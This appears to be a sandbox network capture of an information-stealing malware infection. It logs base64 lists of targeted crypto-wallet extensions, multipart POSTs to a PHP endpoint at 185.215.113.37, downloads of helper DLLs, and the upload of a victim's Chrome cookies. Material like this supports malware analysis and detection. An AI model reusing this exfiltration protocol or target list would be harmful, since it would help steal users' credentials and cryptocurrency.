TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 7, 2024 18:03:11.943531990 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Oct 7, 2024 18:03:11.943542004 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Oct 7, 2024 18:03:11.943660021 CEST	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Oct 7, 2024 18:03:11.943671942 CEST	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Oct 7, 2024 18:03:11.943684101 CEST	272	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Oct 7, 2024 18:03:11.943964958 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 35 74 62 47 39 70 61 6d 4a 77 62 32 78 6c 61 57 46 74 59 58 77 78 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 78 6c 64 48 Data Ascii: IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXB
Oct 7, 2024 18:03:11.943977118 CEST	668	IN	Data Raw: 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 78 74 61 33 42 6c 5a 32 70 72 59 6d 78 72 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 Data Ascii: bWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGV
Oct 7, 2024 18:03:12.063143969 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHCGDAFCFHIDBGDHCFCB Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 2d 2d 0d 0a Data Ascii: ------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="message"fplugins------GHCGDAFCFHIDBGDHCFCB--
Oct 7, 2024 18:03:12.283957958 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:12 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 7, 2024 18:03:12.326874018 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFCAFCBKECBGCFIIJ Host: 185.215.113.37 Content-Length: 7311 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:03:12.326916933 CEST	7311	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 43 41 46 43 42 4b 45 43 42 47 43 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 Data Ascii: ------FIDAFCAFCBKECBGCFIIJContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------FIDAFCAFCBKECBGCFIIJContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 7, 2024 18:03:13.175584078 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:03:13.464068890 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 18:03:13.832437038 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 7, 2024 18:03:13.832508087 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 7, 2024 18:03:15.947499990 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHCGDAFCFHIDBGDHCFCB Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwOTI0MjAJMVBfSkFSCTIwMjMtMTAtMDUtMTIKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMzExNjIwCU5JRAk1MTE9bW1iakhJVzNCaG9KcF9XbHlIa1VncUtaWEQ2cG1UdUFEZG9BcF9QRHhBMnhhaHRzYWlmNEJrS3J2bUx0NHdManEtNy10VjlqWmN4TWowc1NJbHRGRnZtRnBBemNfcTBVSU1xTXBPeS1VUnkxWWhBc21HS3paNjJhN1BsMExZb2ZzdTl4Mk41QmUtN09TQURfWlRnZm9Zdm9LTVN0dTd0aHdpMFFNMHRUSXI4Cg==------GHCGDAFCFHIDBGDHCFCB--
Oct 7, 2024 18:03:16.754585028 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:03:16.843436956 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHII Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="file"------IEHCAKKJDBKKFHJJDHII--
Oct 7, 2024 18:03:17.645160913 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:03:18.538065910 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHI Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file"------ECBGCBGCAFIIECBFIDHI--
Oct 7, 2024 18:03:19.237441063 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:03:19.741156101 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 18:03:19.971740007 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 18:03:20.185261965 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 7, 2024 18:03:21.561779976 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 18:03:21.776613951 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:21 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 7, 2024 18:03:22.575767040 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 18:03:22.791456938 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:22 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 